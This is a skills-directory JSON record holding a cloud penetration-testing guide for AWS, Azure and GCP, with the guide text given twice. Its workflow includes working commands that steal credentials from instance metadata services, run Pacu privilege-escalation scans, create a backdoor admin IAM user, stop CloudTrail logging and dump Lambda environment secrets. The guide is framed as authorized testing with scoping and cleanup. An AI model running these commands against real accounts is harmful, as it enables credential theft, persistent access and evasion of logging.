[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B5DM1F9TSTZ0EXF33A1J50":3,"skill-same:01M7B5DM1F9TSTZ0EXF33A1J50":95},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":59,"commitSha":60,"skillDirectory":61,"forksCount":13,"repositoryHtmlUrl":62,"repositoryHomepageUrl":6,"ownerHtmlUrl":63,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":64,"install":65,"resources":78},"01M7B5DM1F9TSTZ0EXF33A1J50","conducting-cloud-penetration-testing",null,"This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fconducting-cloud-penetration-testing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fconducting-cloud-penetration-testing\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: conducting-cloud-penetration-testing\ndescription: 'This skill outlines methodologies for performing authorized penetration\n  testing against AWS, Azure, and GCP cloud environments. It covers understanding\n  the shared responsibility model for testing scope, leveraging cloud-specific attack\n  tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF\n  to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud\n  matrix.\n\n  '\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- cloud-pentesting\n- offensive-security\n- aws-exploitation\n- shared-responsibility\n- mitre-attack-cloud\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_ai_rmf:\n- MEASURE-2.7\n- MAP-5.1\n- MANAGE-2.4\natlas_techniques:\n- AML.T0070\n- AML.T0066\n- AML.T0082\nd3fend_techniques:\n- Token Binding\n- Restore Access\n- Application Protocol Command Analysis\n- Reissue Credential\n- Network Isolation\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1078.004\n- T1580\n- T1530\n- T1538\n---\n\n# Conducting Cloud Penetration Testing\n\n## When to Use\n\n- When performing authorized security assessments of cloud environments before production deployment\n- When validating cloud security controls after a major architectural change or migration\n- When compliance requirements mandate annual penetration testing of cloud infrastructure\n- When testing incident response readiness by simulating realistic cloud-based attack scenarios\n- When assessing lateral movement risk across multi-account or multi-cloud environments\n\n**Do not use** for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval.\n\n## Prerequisites\n\n- Written authorization from the cloud account owner and scope definition document\n- AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services)\n- Isolated testing account or explicitly scoped production account with breakglass procedures\n- Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox\n- MITRE ATT&CK Cloud matrix for finding classification\n\n## Workflow\n\n### Step 1: Define Scope and Rules of Engagement\n\nEstablish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals.\n\n```\nCloud Penetration Test Scope Document\n=======================================\nTarget: AWS Account 123456789012 (Production)\nTesting Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC\nAuthorization: Signed by CISO, dated 2025-02-20\n\nIN SCOPE:\n  - IAM users, roles, policies, and cross-account trust\n  - EC2 instances, security groups, and network ACLs\n  - S3 bucket policies and data access controls\n  - Lambda functions, API Gateway endpoints\n  - RDS\u002FDynamoDB access controls and encryption\n  - EKS cluster RBAC and network policies\n  - CloudTrail, Config, and monitoring gaps\n\nOUT OF SCOPE:\n  - AWS managed service internals (RDS engine, Lambda runtime)\n  - DDoS attacks or volumetric testing\n  - Physical infrastructure or hypervisor attacks\n  - Social engineering of AWS support\n\nEMERGENCY CONTACT: security-ops@company.com, +1-555-0199\n```\n\n### Step 2: Reconnaissance and Cloud Enumeration\n\nUse cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints.\n\n```bash\n# ScoutSuite multi-cloud assessment\nscout suite aws --profile target-account --report-dir .\u002Fscout-report\n\n# Prowler comprehensive AWS security assessment\nprowler aws -M json-ocsf -o .\u002Fprowler-output --profile target-account\n\n# CloudFox for identifying privilege escalation paths\ncloudfox aws --profile target-account all-checks\n\n# Enumerate public S3 buckets\nfor bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do\n  aws s3api get-bucket-policy-status --bucket $bucket 2>\u002Fdev\u002Fnull | grep -q \"true\" && echo \"PUBLIC: $bucket\"\ndone\n\n# Check for IMDS v1 (vulnerable to SSRF)\naws ec2 describe-instances \\\n  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \\\n  --output table\n```\n\n### Step 3: IAM Privilege Escalation Testing\n\nUse Pacu to identify and exploit IAM misconfigurations that allow privilege escalation from a low-privilege starting point to administrative access.\n\n```bash\n# Initialize Pacu session\npacu\n\n# Set stolen or test credentials\nset_keys --key-alias test-creds\n\n# Run IAM enumeration modules\nrun iam__enum_users_roles_policies_groups\nrun iam__enum_permissions\n\n# Check for privilege escalation paths\nrun iam__privesc_scan\n\n# Common escalation paths to test:\n# 1. iam:CreatePolicyVersion - Create new policy version with admin access\n# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self\n# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role\n# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile\n# 5. sts:AssumeRole - Cross-account role assumption without MFA condition\n```\n\n### Step 4: SSRF to Cloud Metadata Service Exploitation\n\nTest web applications for Server-Side Request Forgery vulnerabilities that can reach the instance metadata service (IMDS) at 169.254.169.254 to steal IAM role credentials.\n\n```bash\n# Test for IMDS v1 access (no token required)\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# Test for IMDS v2 (requires token - more secure)\nTOKEN=$(curl -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" \\\n  -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# Azure IMDS equivalent\ncurl -H \"Metadata:true\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\"\n\n# GCP metadata service\ncurl -H \"Metadata-Flavor: Google\" \\\n  \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\"\n```\n\n### Step 5: Lateral Movement and Data Access\n\nTest cross-account role assumptions, VPC peering connections, and shared resource access to map lateral movement opportunities.\n\n```bash\n# Enumerate cross-account role trusts\naws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table\n\n# Test cross-account assumption\naws sts assume-role \\\n  --role-arn arn:aws:iam::987654321098:role\u002FCrossAccountRole \\\n  --role-session-name pentest-session\n\n# Enumerate accessible S3 data with stolen credentials\naws s3 ls --recursive s3:\u002F\u002Ftarget-bucket\u002F --summarize\n\n# Check Lambda environment variables for secrets\naws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do\n  aws lambda get-function-configuration --function-name \"$fn\" \\\n    --query 'Environment.Variables' --output json 2>\u002Fdev\u002Fnull\ndone\n```\n\n### Step 6: Persistence and Detection Evasion Testing\n\nTest whether the organization's monitoring detects persistence mechanisms such as new IAM users, access keys, Lambda backdoors, or CloudTrail disabling.\n\n```bash\n# Test: Create backdoor IAM user (authorized test only)\naws iam create-user --user-name pentest-backdoor\naws iam create-access-key --user-name pentest-backdoor\naws iam attach-user-policy --user-name pentest-backdoor \\\n  --policy-arn arn:aws:iam::aws:policy\u002FAdministratorAccess\n\n# Test: Disable CloudTrail (verify GuardDuty alerts)\naws cloudtrail stop-logging --name management-trail\n\n# Test: Create Lambda for persistence (authorized test only)\n# Verify: Did GuardDuty generate Stealth:IAMUser\u002FCloudTrailLoggingDisabled?\n# Verify: Did Security Hub alert on the new admin user?\n\n# CLEANUP: Remove all persistence artifacts after testing\naws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE\naws iam detach-user-policy --user-name pentest-backdoor \\\n  --policy-arn arn:aws:iam::aws:policy\u002FAdministratorAccess\naws iam delete-user --user-name pentest-backdoor\naws cloudtrail start-logging --name management-trail\n```\n\n### Step 7: Report Findings with MITRE ATT&CK Mapping\n\nDocument all findings mapped to the MITRE ATT&CK Cloud matrix with severity, proof of concept, business impact, and remediation guidance.\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Shared Responsibility Model | Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls |\n| IMDS | Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access |\n| Privilege Escalation | Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account |\n| Lateral Movement | Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers |\n| Pacu | Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence |\n| ScoutSuite | Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk findings |\n| MITRE ATT&CK Cloud | Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration |\n\n## Tools & Systems\n\n- **Pacu**: AWS-focused exploitation framework with modules for IAM enumeration, privilege escalation, and persistence testing\n- **ScoutSuite**: Multi-cloud (AWS, Azure, GCP) security auditing tool generating comprehensive risk reports from API data collection\n- **CloudFox**: AWS and Azure enumeration tool for identifying attack paths, privilege escalation vectors, and data access opportunities\n- **Prowler**: Open-source cloud security assessment tool with 300+ checks across AWS, Azure, and GCP\n- **Cartography**: Neo4j-based tool that maps relationships between cloud resources for visual attack path analysis\n\n## Common Scenarios\n\n### Scenario: SSRF in Web Application Leads to Full Account Compromise\n\n**Context**: A penetration tester discovers an SSRF vulnerability in a web application hosted on an EC2 instance running IMDSv1. The instance has an IAM role with broad S3 and Lambda permissions.\n\n**Approach**:\n1. Exploit the SSRF to reach http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003Crole-name>\n2. Extract temporary IAM credentials (AccessKeyId, SecretAccessKey, SessionToken)\n3. Use the credentials to enumerate accessible S3 buckets and download sensitive data\n4. Check if the role has iam:PassRole + lambda:CreateFunction for privilege escalation to admin\n5. Document the full attack chain from SSRF to account-level compromise\n6. Recommend: enforce IMDSv2, reduce IAM role scope, add VPC endpoint policies blocking IMDS from application tier\n\n**Pitfalls**: Not testing IMDSv2 enforcement separately from IMDSv1 gives incomplete results. Failing to clean up test artifacts (backdoor users, Lambda functions) leaves real vulnerabilities after the engagement.\n\n## Output Format\n\n```\nCloud Penetration Test Report\n===============================\nTarget: AWS Account 123456789012 (Production)\nTesting Period: 2025-02-24 to 2025-02-28\nMethodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide\nTester: Security Team - Authorized Engagement\n\nEXECUTIVE SUMMARY:\n  Starting with read-only developer credentials, the assessment achieved\n  full administrative access to the production account within 3 hours through\n  an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.\n\nCRITICAL FINDINGS:\n[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion\n  ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)\n  Severity: CRITICAL\n  Starting Point: Developer role with iam:CreatePolicyVersion permission\n  Impact: Full administrative access to all account resources\n  Evidence: Created policy version granting iam:* and s3:* to test role\n  Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary\n\n[PT-002] SSRF to IMDS Credential Theft\n  ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)\n  Severity: CRITICAL\n  Starting Point: Web application URL parameter vulnerable to SSRF\n  Impact: Extracted IAM role credentials with S3 and Lambda access\n  Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope\n\nFINDING SUMMARY BY MITRE ATT&CK TACTIC:\n  Initial Access:       4 findings\n  Execution:            3 findings\n  Persistence:          6 findings\n  Privilege Escalation: 8 findings (3 Critical)\n  Defense Evasion:      5 findings\n  Credential Access:    7 findings\n  Discovery:           14 findings\n  Total:               47 findings\n```\n","# Conducting Cloud Penetration Testing\n\n## When to Use\n\n- When performing authorized security assessments of cloud environments before production deployment\n- When validating cloud security controls after a major architectural change or migration\n- When compliance requirements mandate annual penetration testing of cloud infrastructure\n- When testing incident response readiness by simulating realistic cloud-based attack scenarios\n- When assessing lateral movement risk across multi-account or multi-cloud environments\n\n**Do not use** for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval.\n\n## Prerequisites\n\n- Written authorization from the cloud account owner and scope definition document\n- AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services)\n- Isolated testing account or explicitly scoped production account with breakglass procedures\n- Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox\n- MITRE ATT&CK Cloud matrix for finding classification\n\n## Workflow\n\n### Step 1: Define Scope and Rules of Engagement\n\nEstablish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals.\n\n```\nCloud Penetration Test Scope Document\n=======================================\nTarget: AWS Account 123456789012 (Production)\nTesting Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC\nAuthorization: Signed by CISO, dated 2025-02-20\n\nIN SCOPE:\n  - IAM users, roles, policies, and cross-account trust\n  - EC2 instances, security groups, and network ACLs\n  - S3 bucket policies and data access controls\n  - Lambda functions, API Gateway endpoints\n  - RDS\u002FDynamoDB access controls and encryption\n  - EKS cluster RBAC and network policies\n  - CloudTrail, Config, and monitoring gaps\n\nOUT OF SCOPE:\n  - AWS managed service internals (RDS engine, Lambda runtime)\n  - DDoS attacks or volumetric testing\n  - Physical infrastructure or hypervisor attacks\n  - Social engineering of AWS support\n\nEMERGENCY CONTACT: security-ops@company.com, +1-555-0199\n```\n\n### Step 2: Reconnaissance and Cloud Enumeration\n\nUse cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints.\n\n```bash\n# ScoutSuite multi-cloud assessment\nscout suite aws --profile target-account --report-dir .\u002Fscout-report\n\n# Prowler comprehensive AWS security assessment\nprowler aws -M json-ocsf -o .\u002Fprowler-output --profile target-account\n\n# CloudFox for identifying privilege escalation paths\ncloudfox aws --profile target-account all-checks\n\n# Enumerate public S3 buckets\nfor bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do\n  aws s3api get-bucket-policy-status --bucket $bucket 2>\u002Fdev\u002Fnull | grep -q \"true\" && echo \"PUBLIC: $bucket\"\ndone\n\n# Check for IMDS v1 (vulnerable to SSRF)\naws ec2 describe-instances \\\n  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \\\n  --output table\n```\n\n### Step 3: IAM Privilege Escalation Testing\n\nUse Pacu to identify and exploit IAM misconfigurations that allow privilege escalation from a low-privilege starting point to administrative access.\n\n```bash\n# Initialize Pacu session\npacu\n\n# Set stolen or test credentials\nset_keys --key-alias test-creds\n\n# Run IAM enumeration modules\nrun iam__enum_users_roles_policies_groups\nrun iam__enum_permissions\n\n# Check for privilege escalation paths\nrun iam__privesc_scan\n\n# Common escalation paths to test:\n# 1. iam:CreatePolicyVersion - Create new policy version with admin access\n# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self\n# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role\n# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile\n# 5. sts:AssumeRole - Cross-account role assumption without MFA condition\n```\n\n### Step 4: SSRF to Cloud Metadata Service Exploitation\n\nTest web applications for Server-Side Request Forgery vulnerabilities that can reach the instance metadata service (IMDS) at 169.254.169.254 to steal IAM role credentials.\n\n```bash\n# Test for IMDS v1 access (no token required)\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# Test for IMDS v2 (requires token - more secure)\nTOKEN=$(curl -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" \\\n  -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# Azure IMDS equivalent\ncurl -H \"Metadata:true\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\"\n\n# GCP metadata service\ncurl -H \"Metadata-Flavor: Google\" \\\n  \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\"\n```\n\n### Step 5: Lateral Movement and Data Access\n\nTest cross-account role assumptions, VPC peering connections, and shared resource access to map lateral movement opportunities.\n\n```bash\n# Enumerate cross-account role trusts\naws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table\n\n# Test cross-account assumption\naws sts assume-role \\\n  --role-arn arn:aws:iam::987654321098:role\u002FCrossAccountRole \\\n  --role-session-name pentest-session\n\n# Enumerate accessible S3 data with stolen credentials\naws s3 ls --recursive s3:\u002F\u002Ftarget-bucket\u002F --summarize\n\n# Check Lambda environment variables for secrets\naws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do\n  aws lambda get-function-configuration --function-name \"$fn\" \\\n    --query 'Environment.Variables' --output json 2>\u002Fdev\u002Fnull\ndone\n```\n\n### Step 6: Persistence and Detection Evasion Testing\n\nTest whether the organization's monitoring detects persistence mechanisms such as new IAM users, access keys, Lambda backdoors, or CloudTrail disabling.\n\n```bash\n# Test: Create backdoor IAM user (authorized test only)\naws iam create-user --user-name pentest-backdoor\naws iam create-access-key --user-name pentest-backdoor\naws iam attach-user-policy --user-name pentest-backdoor \\\n  --policy-arn arn:aws:iam::aws:policy\u002FAdministratorAccess\n\n# Test: Disable CloudTrail (verify GuardDuty alerts)\naws cloudtrail stop-logging --name management-trail\n\n# Test: Create Lambda for persistence (authorized test only)\n# Verify: Did GuardDuty generate Stealth:IAMUser\u002FCloudTrailLoggingDisabled?\n# Verify: Did Security Hub alert on the new admin user?\n\n# CLEANUP: Remove all persistence artifacts after testing\naws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE\naws iam detach-user-policy --user-name pentest-backdoor \\\n  --policy-arn arn:aws:iam::aws:policy\u002FAdministratorAccess\naws iam delete-user --user-name pentest-backdoor\naws cloudtrail start-logging --name management-trail\n```\n\n### Step 7: Report Findings with MITRE ATT&CK Mapping\n\nDocument all findings mapped to the MITRE ATT&CK Cloud matrix with severity, proof of concept, business impact, and remediation guidance.\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Shared Responsibility Model | Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls |\n| IMDS | Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access |\n| Privilege Escalation | Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account |\n| Lateral Movement | Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers |\n| Pacu | Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence |\n| ScoutSuite | Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk findings |\n| MITRE ATT&CK Cloud | Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration |\n\n## Tools & Systems\n\n- **Pacu**: AWS-focused exploitation framework with modules for IAM enumeration, privilege escalation, and persistence testing\n- **ScoutSuite**: Multi-cloud (AWS, Azure, GCP) security auditing tool generating comprehensive risk reports from API data collection\n- **CloudFox**: AWS and Azure enumeration tool for identifying attack paths, privilege escalation vectors, and data access opportunities\n- **Prowler**: Open-source cloud security assessment tool with 300+ checks across AWS, Azure, and GCP\n- **Cartography**: Neo4j-based tool that maps relationships between cloud resources for visual attack path analysis\n\n## Common Scenarios\n\n### Scenario: SSRF in Web Application Leads to Full Account Compromise\n\n**Context**: A penetration tester discovers an SSRF vulnerability in a web application hosted on an EC2 instance running IMDSv1. The instance has an IAM role with broad S3 and Lambda permissions.\n\n**Approach**:\n1. Exploit the SSRF to reach http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003Crole-name>\n2. Extract temporary IAM credentials (AccessKeyId, SecretAccessKey, SessionToken)\n3. Use the credentials to enumerate accessible S3 buckets and download sensitive data\n4. Check if the role has iam:PassRole + lambda:CreateFunction for privilege escalation to admin\n5. Document the full attack chain from SSRF to account-level compromise\n6. Recommend: enforce IMDSv2, reduce IAM role scope, add VPC endpoint policies blocking IMDS from application tier\n\n**Pitfalls**: Not testing IMDSv2 enforcement separately from IMDSv1 gives incomplete results. Failing to clean up test artifacts (backdoor users, Lambda functions) leaves real vulnerabilities after the engagement.\n\n## Output Format\n\n```\nCloud Penetration Test Report\n===============================\nTarget: AWS Account 123456789012 (Production)\nTesting Period: 2025-02-24 to 2025-02-28\nMethodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide\nTester: Security Team - Authorized Engagement\n\nEXECUTIVE SUMMARY:\n  Starting with read-only developer credentials, the assessment achieved\n  full administrative access to the production account within 3 hours through\n  an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.\n\nCRITICAL FINDINGS:\n[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion\n  ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)\n  Severity: CRITICAL\n  Starting Point: Developer role with iam:CreatePolicyVersion permission\n  Impact: Full administrative access to all account resources\n  Evidence: Created policy version granting iam:* and s3:* to test role\n  Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary\n\n[PT-002] SSRF to IMDS Credential Theft\n  ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)\n  Severity: CRITICAL\n  Starting Point: Web application URL parameter vulnerable to SSRF\n  Impact: Extracted IAM role credentials with S3 and Lambda access\n  Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope\n\nFINDING SUMMARY BY MITRE ATT&CK TACTIC:\n  Initial Access:       4 findings\n  Execution:            3 findings\n  Persistence:          6 findings\n  Privilege Escalation: 8 findings (3 Critical)\n  Defense Evasion:      5 findings\n  Credential Access:    7 findings\n  Discovery:           14 findings\n  Total:               47 findings\n```\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":38,"description":39,"nist_ai_rmf":40,"mitre_attack":44,"atlas_techniques":49,"d3fend_techniques":53},[25,26,27,28,29],"cloud-pentesting","offensive-security","aws-exploitation","shared-responsibility","mitre-attack-cloud","mahipal","cybersecurity","1.0.0",[34,35,36,37],"PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01","cloud-security","This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix.\n",[41,42,43],"MEASURE-2.7","MAP-5.1","MANAGE-2.4",[45,46,47,48],"T1078.004","T1580","T1530","T1538",[50,51,52],"AML.T0070","AML.T0066","AML.T0082",[54,55,56,57,58],"Token Binding","Restore Access","Application Protocol Command Analysis","Reissue Credential","Network Isolation","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fconducting-cloud-penetration-testing","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":66,"prompt":76,"zipAvailable":77},[67,70,73],{"tool":68,"command":69},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill conducting-cloud-penetration-testing",{"tool":71,"command":72},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill conducting-cloud-penetration-testing",{"tool":74,"command":75},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill conducting-cloud-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fconducting-cloud-penetration-testing\u002FSKILL.md",true,[79,83,89],{"path":80,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"references\u002Fapi-reference.md","REFERENCE","参考文档",2322,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fconducting-cloud-penetration-testing\u002Freferences\u002Fapi-reference.md",{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"scripts\u002Fagent.py","SCRIPT","脚本",7078,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fconducting-cloud-penetration-testing\u002Fscripts\u002Fagent.py",[96,104,111,118,125,132],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment 